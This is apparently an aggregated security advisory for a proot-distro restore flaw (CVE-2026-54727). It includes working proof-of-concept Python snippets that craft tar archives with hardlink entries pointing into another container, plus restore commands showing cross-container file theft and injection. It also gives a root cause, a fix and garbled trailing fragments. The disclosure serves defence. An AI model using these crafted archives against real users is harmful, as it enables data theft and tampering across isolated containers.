proot-distro
Affected
- introduced
0, fixed5.1.6(ecosystem)
Fixed versions
5.1.6
Fix
- Fixed version
5.1.6pip install --upgrade proot-distro==5.1.6
Advisory
Also known as: CVE-2026-54727, GHSA-7h3g-4w2f-fj2f
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
Affected Component
restore---
Affected Versions
| Component | Version |
|---|---|
| proot-distro | 5.1.5 (confirmed affected) |
| Test distro | Alpine Linux |
| Architecture | aarch64 |
| Device | Samsung Galaxy A23 |
| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
---
Summary
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
---
Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
Step 1 — Create a victim container and marker file
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'
Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345
---
Step 2 — Create an attacker container
proot-distro install alpine --name attacker
---
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
---
Step 4 — Restore the crafted archive
proot-distro restore ./malicious.tar
---
Step 5 — Read the copied file from the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
Observed output:
PROOF-12345
This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
---
Proof of Concept #2 — Cross-Container File Injection
Step 1 — Create attacker-controlled source data
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'
---
Step 2 — Create a victim container
proot-distro install alpine --name victim
---
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
---
Step 4 — Restore the crafted archive
proot-distro restore ./write_test.tar
---
Step 5 — Verify file injection into the victim container
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"
Observed output:
ATTACKER_DATA
This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
---
Impact
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.
---
Root Cause
During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.
The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.
As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.
---
Proposed Fix
link_container, link_src = _dest_path(member.linkname)
if link_src is None:
continue
if link_container != container_name:
continue
link_src = _safe_dest(
link_container,
link_src,
follow_final=True
)
This preserves existing path traversal protections while restoring the expected isolation boundary between containers.
---
Additional Notes
PROOF-12345.ATTACKER_DATA.High Basis: CVSS v3 score 8.2, vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
0, fixed 5.1.6 (ecosystem)5.1.6
5.1.6pip install --upgrade proot-distro==5.1.6Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0